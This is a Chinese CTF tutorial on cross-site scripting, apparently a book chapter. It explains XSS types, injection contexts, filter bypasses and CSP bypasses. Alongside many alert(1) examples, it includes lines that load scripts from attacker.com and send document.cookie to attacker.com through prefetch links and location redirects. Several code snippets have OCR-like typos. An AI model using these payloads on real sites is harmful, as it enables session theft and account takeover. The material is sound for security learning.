CTFer成长之路-Web进阶之XSS的魔力

跨站脚本(Cross-Site Scripting,XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种,允许恶意用户将代码注入网页,其他用户在观看网页时会受到影响。这类攻击通常包含HTML和用户端脚本语言。
XSS攻击通常是指通过利用网页开发时留下的漏洞,巧妙注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上可以包括Java、VBScript、ActiveX、Flash或者普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和Cookie等内容。(摘自维基百科)

如上所述,XSS攻击是代码注入的一种。时至今日,浏览器上的攻与防片刻未歇,很多网站给关键Cookie增加了HTTP Only属性,这意味着执行JavaScript已无法获得用户的登录凭证(即无法通过XSS攻击窃取Cookie登录对方账号),虽然同源策略限制了JavaScript跨域执行的能力,但是XSS攻击依然可以理解为在用户浏览器上的代码执行漏洞,可以在悄无声息的情况下实现模拟用户的操作(包括文件上传等请求)。

XSS漏洞类型

1.反射/存储型XSS

根据XSS漏洞点的触发特征,XSS可以粗略分为反射型XSS、存储型XSS。
反射型XSS通常是指恶意代码未被服务器存储,每次触发漏洞的时候都将恶意代码通过GET/POST方式提交,然后触发漏洞。存储型XSS则相反,恶意代码被服务器存储,在访问页面时会直接被触发(如留言板留言等场景)。
这里模拟一个简单的反射型XSS,变量输入点没有任何过滤直接在HTML内容中输出,就像攻击者对HTML内容进行了“注入”,这也是XSS也称为HTML注入的原因,这样我们可以向网页中注入恶意的标签和代码,实现我们的功能。
1.php?name=<script>alert("hello%20xss")</script>
然而这样的payload会被Google Chrome等浏览器直接拦截,无法触发,因为这样的请求(即GET参数中的JavaScript标签代码直接打印在HTML中)符合Google Chrome浏览器XSS过滤器(XSS Auditor)的规则,所以被直接拦截(这也是近年来Google Chrome加强防护策略导致的。在很长一段时间内,攻击者可以肆意地在页面中注入XSS恶意代码)。

<!DOCTYPE html>
<html>
<head>
          <title>hello</titile>
</head>
<body>
          <h1> hello {输入点}</h1>
</body>
</html>

输入的数据被拼接到HTML内容中时,有时被输出到一些特殊的位置,如标签属性、JavaScript变量的值,此时通过闭合标签或者语句可以实现payload的逃逸。又如,下面的输入被输出到了标签属性的值中,通过在标签属性中注入on事件,我们可以执行恶意代码。
2.php?name=text233"%20autofocus%20onfocus"=alert(1)
在这两种情况下,由于特征比较明显,因此使用Google Chrome浏览器的时候会被Google Chrome XSS Auditor拦截。第三种情况是我们的输入被输出到JavaScript变量中,这时可以构造输入,闭合前面的双引号,同时引入恶意代码。

<!DOCTYPE html>
<html>
<head>
          <title>hello</titile>
</head>
<body>
          <input type="text" name="text233" autofocus onfocus="alert(1)">
</body>
</html>
<?php
        $name = $_GET['name'];
?>
<!DOCTYPE html>
<html>
<head>
          <title>hello</titile>
</head>
<body>
        <script type="text/javascript">
                var username = "<?=$name?>";
                document.write("hello ".username);
        </script>
</body>
</html>

页面源码并没有变红,意味着Google Chrome并未拦截这个输入,访问成功弹框。
3.php?name=aaa"%2balert(1);//

<!DOCTYPE html>
<html>
<head>
        <title>hello</titile>
</head>
<body>
        <script type="text/javascript">
                var username = "aaa"+alert(1);//";
                document.write("hello ".username);
        </script>
</body>
</html>

前三种是XSS中最简单的场景,即输入原封不动地被输出在页面中,通过精心构造的输入,使得输入中的恶意数据混入JavaScript代码中得以执行,这也是很多漏洞的根源所在,即:没有很好地区分开代码和数据,导致攻击者可以利用系统的缺陷,构造输入,进而在系统上执行任意代码。

2.DOM XSS

简单来讲,DOM XSS是页面中原有的JavaScript代码执行后,需要进行DOM树节点的增加或者元素的修改,引入了被污染的变量,从而导致XSS。其功能是获取imgurl参数中的图片链接,然后拼接出一个图片标签并显示到网页中。

<!DOCTYPE html>
<html>
<head>
        <title>image display</title>
</head>
<body>
        <script type="text/javascript">
                function getUrlParam(name){
                      var reg = new RegExp("(^|&)" +name + "=([^&]*)(&|$)");
                      var r = window.location.search.substr(1).match( reg);
                      if (r != null) return decodeURI(r[2]); return null;
                }
                var imgurl = getUrlParam( " imgurl" );
                var imagehtml = "<img src='"+imgurl+"'/>";
                document.write( imagehtml);
          </script>
</body>
</htmi>

输入并不会直接被打印到页面中被解析,而是等页面中原先的JavaScript执行后取出我们可控的变量,拼接恶意代码并写入页面中才会被触发。可以看到,恶意代码最终被拼接到了img标签中并被执行。

3.其他场景

决定上传的文件能否被浏览器解析成HTML代码的关键是HTTP响应头中的元素Content-Type,所以无论上传的文件是以什么样的后缀被保存在服务器上,只要访问上传的文件时返回的Content-type是text/html,就可以成功地被浏览器解析并执行。类似地,Flash文件的application/x-shockwave-flash也可以被执行XSS。事实上,浏览器会默认把请求响应当作HTML内容解析,如空的和畸形的Content-type,由于浏览器之间存在差异,因此在实际环境中要多测试。

XSS的tricks

1.可以用来执行XSS的标签

基本上所有的标签都可以使用on事件来触发恶意代码,比如:
<h1 onmousemove="alert('moved!')">this is a titile</h1>
另一个比较常用的是img标签
<img src=x onerror="alert('error')"/>
由于页面不存在路径为/x的图片,因此直接会加载出错,触发onerror事件并执行代码。
其他常见的标签如下:

<script src="http://attacker.com/a.js"></script>
<script>alert(1)</script>
<link rel="import" href="http://attacker.com/1.html">
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">click</a>
<svg/onload=alert(1)>

2.HTML5特性的XSS

HTML5的某些特性可以参考网站http://html5sec.org/。很多标签的on时间触发是需要交互的,如鼠标滑过点击,代码如下:
<input onfocus=write(1) autofocus>
input标签的autofocus属性会自动使光标聚焦于此,不需交互就可以触发onfocus事件。两个input元素竞争焦点,当焦点到另一个input元素时,前面的会触发blur事件。例如:
<input onblur=write(1) autofocus><input autofocus>

3.伪协议与XSS

通常,我们在浏览器中使用HTTP/HTTPS协议来访问网站,但是在一个页面中,鼠标悬停在一个超链接上时,我们总会看到这样的链接:javascript:void(0)。这其实是用JavaScript伪协议实现的。如果手动单击,或者页面中的JavaScript执行跳转到JavaScript伪协议时,浏览器并不会带领我们去访问这个地址,而是把“javascript:”后的那一段内容当作JavaScript代码,直接在当前页面执行。所以,对于这样的标签:
<a href="javascript:alert(1)">click</a>
单击这个标签时并不会跳转到其他网页,而是直接在当前页面执行alert(1),除了直接用a标签单击触发,JavaScript协议触发的方式还有很多。
比如,利用JavaScript进行页面跳转时,跳转的协议使用JavaScript伪协议也能进行触发,代码如下:

<script type="text/javascript">
        location.href="javascript:alert(document.domain)";
</script>

所以如果在一些登录/退出业务中存在这样的代码:

<! DOCTYPE html>
<html>
<head>
        <title>logout</title>
</head>

<body>
      <script type="text/javascript">
                function getUrlParam(nane) {
                        var reg = new RegExp(""(^I&)" + name + "=([*&]*)(&|$)");
                        var r = window.location.search. substr[1).match(reg) ;
                        if (r != null)
                                return decodeURI(r[2]);
                        return null;
                }
                var jumpurl = getUrlParam("jumpurl");
                docurent.location.href=jumpurl;
          </ script>
</body>
</html>

即跳转的地址是我们可控的,我们就能控制跳转的地址到JavaScript伪协议,从而实现XSS攻击。

另外,iframe标签和form标签也支持JavaScript伪协议。不同的是,iframe标签不需交互即可触发,而form标签需要在提交表单时才会触发。

<iframe src="javascript:alert(1)"><iframe>
<form action="javascript:alert(1)"></form>

除了JavaScript伪协议,还有其他伪协议可以在iframe标签中实现类似的效果。比如data伪协议:

<iframe src = "data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="></iframe>

二次渲染导致的XSS

后端语言如flask的jinja2使用不当时,可能存在模板注入,在前端也可能因为这样的原因形成XSS。例如,在AngularJS中:

<?php
$template = "Hello {iname}}".$_GET['t'];?>
<! DOCTYPE html><html>
<head>
<meta charset="utf-8">
<script src="https: //cdn.staticfile.org/angular.js/1.4.6/angular.min.js "></script></head>
<body>
<div ng-app="">

上面的代码会将参数t直接输出到AngularJS的模板中,在我们访问页面时,JavaScript会解析模板中的代码,可以得到一个前端的模板注入。AngularJS引擎解析了表达式“3*3”并打印了结果。
借助沙箱逃逸,我们便能达到执行任意JavaScript代码的目的。这样的XSS是因为前端对某部分输出进行了二次渲染导致的,所以没有script标签这样的特征,也就不会被浏览器随意的拦截。
参考链接:https://portswigger.net/blog/XSS-without-html-client-side-template-injection-with-angularjs

XSS过滤和绕过

过滤的两个层为WAF层、代码层。WAF(Web Application Firewall,Web应用防火墙)层通常在代码外,主机层对HTTP应用请求一个过滤拦截器。代码层则在代码中直接实现对用户输入的过滤或者引用第三方代码对用户输入进行过滤。
JavaScript非常灵活,所以对于普通的正则匹配,字符串对比很难拦截XSS漏洞。过滤的时候一般会面临多种场景。

1.富文本过滤

对于发送邮件和写博客的场景,标签是必不可少的,如嵌入超链接、图片需要HTML标签,如果对标签进行黑名单过滤,必然出现遗漏的情况,那么我们可以通过寻找没有被过滤的标签进行绕过。我们也可以尝试fuzz过滤有没有缺陷,如在直接把script替换为空的过滤方式中,可以采用双写形式<scrscriptipt>;或者在没有考虑大小写时,可以通过大小写的变换绕过script标签。

<?php
      function filter($payload) {
              $data = str_replace( "script","",$payload);
        return $data;
}
      $name = filterc$_GET["name"])
      ;echo "hello $name";
?>

错误的过滤方式甚至可以帮助我们绕过浏览器的XSS过滤器。
view-source:127.0.0.1:8888/xss/7.php?name=<scscriptript>alert(1)</scripscriptt>

2.输出在标签属性中

如果没有过滤“<”或“>”,我们可以直接引入新的标签,否则可以引入标签的事件,如onload、onmousemove等。当语句被输出到标签事件的位置时,我们可以通过对payload进行HTML编码来绕过检测,利用burpsuite对payload进行实体编码,打开浏览器即可触发。

这里能触发与浏览器渲染页面的顺序有关。我们的payload在标签属性中,触发事件前,浏览器已经对payload进行了一次解码,即从实体编码转换成了常规数据。如果对JavaScript的函数进行过滤,如过滤了“eval(”这样的字符组合,那么可以通过下面的方式进行绕过:

aaa=eval;
aaa("evil code");

正因为JavaScript非常灵活,所以通过黑名单的方式对XSS攻击进行过滤是很困难的。

3.输出在JavaScript变量中

通过闭合JavaScript语句,会使得我们的攻击语句逃逸,这时有经验的开发可能会对引号进行编码或者转义,进而防御XSS,但是配合一些特殊的场景依然可能形成XSS。例如,对于如下双输入的注入:
SELECT * FROM users WHERE name = '输入1' and pass = '输入2'
如果只过滤单引号而没考虑“\”,那么我们可以转义语句中的第二个单引号,使得第一个单引号和第三个单引号闭合,从而让攻击语句逃逸:
SELECT * FROM users WHERE name = '\' and pass='union select xxxxx#'
在XSS中也有类似的场景。例如,如下代码:

<?php
$name = $_GET['name ' ];
$name = htmlentities($name,ENT_QUOTES);$address = $_GET[ ' addr'];
$address = htmlentities($address,ENT_QUOTES);?>
<! DOCTYPE html><html>
<head>
<meta charset="gb18030"><title></title>
</head>
<body>
<script type="text/javascript">
var url = 'http: //nu1l.com/?name=<?=$name?>'+'<?=$address?>';</script>
</body>
</html>

输入点和输出点都有两个,如果输入引号,会被编码成HTML实体字符,但是htmlentities函数并不会过滤“\”,所以我们可以通过“\”使得攻击语句逃逸。
在name处末尾输入“\”,在addr参数处闭合前面的JavaScript语句,同时插入恶意代码。进一步可以用eval(window.name)引入恶意代码或者使用JavaScript中的String.fromCharCode来避免使用引号等被过滤的字符。
再介绍几个小技巧,将payload藏在location.hash中,则URL中“#”后的字符不会被发到服务器,所以不存在被服务器过滤的情况。在JavaScript中,反引号可以直接当作字符串的边界符。

4.CSP过滤及其绕过

我们引用https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP的内容来介绍CSP。
CSP(Content Security Policy,内容安全策略)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。
CSP被设计成完全向后兼容。不支持CSP的浏览器也能与实现了CSP的服务器正常合作,反之亦然:不支持CSP的浏览器只会忽略它,正常运行,默认网页内容使用标准的同源策略。如果网站不提供CSP头部,那么浏览器也使用标准的同源策略。
为了使CSP可用,我们需要配置网络服务器返回Content-Security-Policy HTTP头部(有时有X-Content-Security-Policy头部的提法,那是旧版本,不需如此指定它)。除此之外,<meta>元素也可以被用来配置该策略。
从前面的一些过滤绕过也可以看出,XSS的防御绝非易事,CSP应运而生。CSP策略可以看作为了防御XSS,额外添加的一些浏览器渲染页面、执行JavaScript的规则。这个规则是在浏览器层执行的,只需配置服务器返回Content-Security-Policy头。例如:

<?php header('Content-security-Policy: script-src *.baidu.com');?>

这段代码会规定,这个页面引用的JavaScript文件只允许来自百度的子域,其他任何方式的JavaScript执行都会被拦截,包括页面中本身的script标签内的代码。如果引用了不可信域的JavaScript文件,则在浏览器的控制台界面(按F12,打开console)会报错。

每个规则都对应了浏览器中的某部分请求,如default-src指令定义了那些没有被更精确指令指定的安全策略,可以理解为页面中所有请求的一个默认策略;script-src可以指定允许加载的JavaScript资源文件的源。其余规则的含义读者可以自行学习,不再赘述。

在CSP规则的设置中,“*”可以作为通配符。例如,“*.baidu.com”指的是允许加载百度所有子域名的JavaScript资源文件;还支持指定具体协议和路径,如“Content-Security-Policy:script-src http://*.baidu.com/js/”指定了具体的协议以及路径。除此之外,script-src还支持指定关键词,常见的关键词如下。
❖ none:禁止加载所有资源。
❖ self:允许加载同源的资源文件。
❖ unsafe-inline:允许在页面内直接执行嵌入的JavaScript代码。
❖ unsafe-eval:允许使用eval()等通过字符串创建代码的方法。所有关键词都需要用单引号包裹。如果在某条CSP规则中有多个值,则用空格隔开;如果有多条指令,则用“;”隔开。比如:
Content-Security-Policy: default-src 'self';script-src 'self' *.baidu.com

5.常见的场景及其绕过

CSP规则众多,所以这里只简单举例,其他相关规则及绕过方式读者可以自行查阅相关资料。例如,对于“script-src'self'”,self对应的CSP规则允许加载本地的文件,我们可以通过这个站点上可控的链接写入恶意内容,如文件上传、JSONP接口。例如:

<?php
      header("content-Security-policy: script-src 'self' ");
      $jsurl = $_GET['url"];
      $jsurl = addslashes($jsurl);
?>
< ! DOCTYPE html>
<html>
<head>
<title>bypass csp</title>
</head>

<body>
      <script type="text/javascript" src="<?=$jsurl?>"></script>
</body>
</html>

注意,如果是图片上传接口,即访问上传资源时返回的Content-Type是image/png之类的,则会被浏览器拒绝执行。
假设上传了一个a.xxxxx文件,通过URL的GET参数,把这个文件引入script标签的src属性,此时返回的Content-type为text/plain,解析结果?url=upload/a.xxxxx
除此之外,我们可以利用JSONP命令进行绕过。假设存在JSONP接口,我们可以通过JSONP接口引入符合JavaScript语法的代码。
若该JSONP接口处于白名单域下,可以通过更改callback参数向页面中注入恶意代码,在触发点页面引入构造好的链接。

另一些常见的绕过方法如下:

<link rel="prefetch" href="http://baidu.com“> H5预加载,仅Google Chrome支持
<link rel="dns-prefetch" href="http://baidu.con"> DNS预加载

当传出数据受限时,则可以利用JavaScript动态生成link标签,将数据传输到我们的服务器,如通过GET参数带出cookie:

<link rel="prefetch" href="http://attacker.com/?cookie=xxxx">

还有就是利用页面跳转,包括a标签的跳转、location变量赋值的跳转,meta标签的跳转等手法。比如,通过跳转实现带出数据:

location.href=http://attacker.com/?c="+escape(document.cookie)

推荐阅读更多精彩内容